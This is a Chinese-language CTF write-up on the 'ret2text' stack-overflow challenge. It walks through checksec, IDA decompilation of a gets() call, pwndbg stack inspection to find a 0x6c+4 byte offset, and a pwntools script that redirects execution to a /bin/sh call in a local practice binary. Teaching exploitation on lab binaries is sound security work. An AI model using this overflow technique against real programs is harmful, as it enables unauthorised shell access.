Pwn 栈溢出

2024.02.08

栈溢出题目

ret2text

下载地址
拿到程序首先使用 checksec 检查这个程序的一些信息,运行 checksec ret2text 我们会得到如下信息:

bash
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以看出这个程序是 32 位程序,仅开了栈不可执行保护

接着使用 32 位 IDA Pro 打开程序:

c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets(s);
  printf("Maybe I will tell you next time !");
  return 0;
}

可以看到 gets 函数绝对会导致栈溢出的问题,接着我们查看一下这个程序里面的字符串,使用 Shift + F12 即可进入 String 窗口,在 Strings 窗口我们能看到:

.rodata:08048763 00000008 C /bin/sh

这样一条数据,双击,看到这个字段前面的标识符为 command,用 Alt + T 搜索得到 secure 这个函数中包含 /bin/sh ,双击查看这个字符位置:

.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"

可以看到其位置为 0804863A,我们在栈溢出的时候返回这个位置就行

接着用 pwndbg 来运行这个程序

gdb ret2text

在调试界面先为 main 函数打上断点:b main,接着使用 r 命令来执行程序,程序会在 main 函数的位置停止,接着我们使用 n 一步步往下执行,直到我们可以输入,随便输入数据,用 stack 40 来查看栈内存放的数据:

bash
00:0000│ esp 0xffffd370 —▸ 0xffffd38c ◂— 'AAAA'
01:0004│-084 0xffffd374 ◂— 0x0
02:0008│-080 0xffffd378 ◂— 0x1
03:000c│-07c 0xffffd37c ◂— 0x0
04:0010│-078 0xffffd380 —▸ 0xf7fc4540 (__kernel_vsyscall) ◂— push ecx
05:0014│-074 0xffffd384 ◂— 0xffffffff
06:0018│-070 0xffffd388 —▸ 0x8048034 ◂— push es
07:001c│ eax 0xffffd38c ◂— 'AAAA'
08:0020│-068 0xffffd390 —▸ 0xf7ffd600 (_rtld_global+1504) ◂— 0x3
09:0024│-064 0xffffd394 ◂— 0x20 /* ' ' */
0a:0028│-060 0xffffd398 ◂— 0x0
0b:002c│-05c 0xffffd39c —▸ 0xffffd554 ◂— 0x20 /* ' ' */
0c:0030│-058 0xffffd3a0 ◂— 0x0
0d:0034│-054 0xffffd3a4 ◂— 0x0
0e:0038│-050 0xffffd3a8 ◂— 0x1000000
0f:003c│-04c 0xffffd3ac ◂— 9 /* '\t' */
10:0040│-048 0xffffd3b0 —▸ 0xf7fc4540 (__kernel_vsyscall) ◂— push ecx
11:0044│-044 0xffffd3b4 ◂— 0x0
12:0048│-040 0xffffd3b8 —▸ 0xf7c184be ◂— '_dl_audit_preinit'
13:004c│-03c 0xffffd3bc —▸ 0xf7e2a054 (_dl_audit_preinit@got.plt) —▸ 0xf7fdde10 (_dl_audit_preinit) ◂— endbr32
14:0050│-038 0xffffd3c0 —▸ 0xf7fbe4a0 —▸ 0xf7c00000 ◂— 0x464c457f
15:0054│-034 0xffffd3c4 —▸ 0xf7fd6f90 (_dl_fixup+240) ◂— mov edi, eax
16:0058│-030 0xffffd3c8 —▸ 0xf7c184be ◂— '_dl_audit_preinit'
17:005c│-02c 0xffffd3cc —▸ 0xf7fbe4a0 —▸ 0xf7c00000 ◂— 0x464c457f
18:0060│-028 0xffffd3d0 —▸ 0xffffd410 —▸ 0xf7e2a000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
19:0064│-024 0xffffd3d4 —▸ 0xf7fbe66c —▸ 0xf7ffdba0 —▸ 0xf7fbe780 —▸ 0xf7ffda40 ◂— ...
1a:0068│-020 0xffffd3d8 —▸ 0xf7fbeb10 —▸ 0xf7c1acc6 ◂— 'GLIBC_PRIVATE'
1b:006c│-01c 0xffffd3dc ◂— 0x1
1c:0070│-018 0xffffd3e0 ◂— 0x1
1d:0074│-014 0xffffd3e4 ◂— 0x0
1e:0078│-010 0xffffd3e8 —▸ 0xf7e2a000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
1f:007c│-00c 0xffffd3ec —▸ 0xf7d20f9b (__init_misc+43) ◂— add esp, 0x10
20:0080│-008 0xffffd3f0 —▸ 0xffffd627 ◂— '/home/ttdly/pwn/ret2text/ret2text'
21:0084│-004 0xffffd3f4 ◂— 0x70 /* 'p' */
22:0088│ ebp 0xffffd3f8 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0
23:008c│+004 0xffffd3fc —▸ 0xf7c21519 (__libc_start_call_main+121) ◂— add esp, 0x10
24:0090│+008 0xffffd400 ◂— 0x1
25:0094│+00c 0xffffd404 —▸ 0xffffd4b4 —▸ 0xffffd627 ◂— '/home/ttdly/pwn/ret2text/ret2text'
26:0098│+010 0xffffd408 —▸ 0xffffd4bc —▸ 0xffffd649 ◂— 'SHELL=/bin/bash'
27:009c│+014 0xffffd40c —▸ 0xffffd420 —▸ 0xf7e2a000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac

可以看到我们输入的字符存放在 0xffffd38c 这个地址,而 ebp 在 0xffffd3f8 的位置,这时我们需要向栈内填充 0x3f8 - 0x38c = 0x6c 个字符,如果想要覆盖调用 main 函数地址位置,我们还需要额外填充 4 个字节,所以最终向栈内写入的字符数为 0x6c+4

大概流程我们已经知道了,接着我们来编写攻击脚本:

python
from pwn import *

local = process("./ret2text");
target = 0x0804863A # system("/bin/sh") 的位置
payload = b"A" * (0x6c + 4) + p32(target);
local.send(payload);
local.interactive();

使用 python 运行这个脚本之后,我们可以看到终端已经进入了本机的 shell 界面,攻击成功。这个时候我们可以通过 shell 来得到我们的 flag。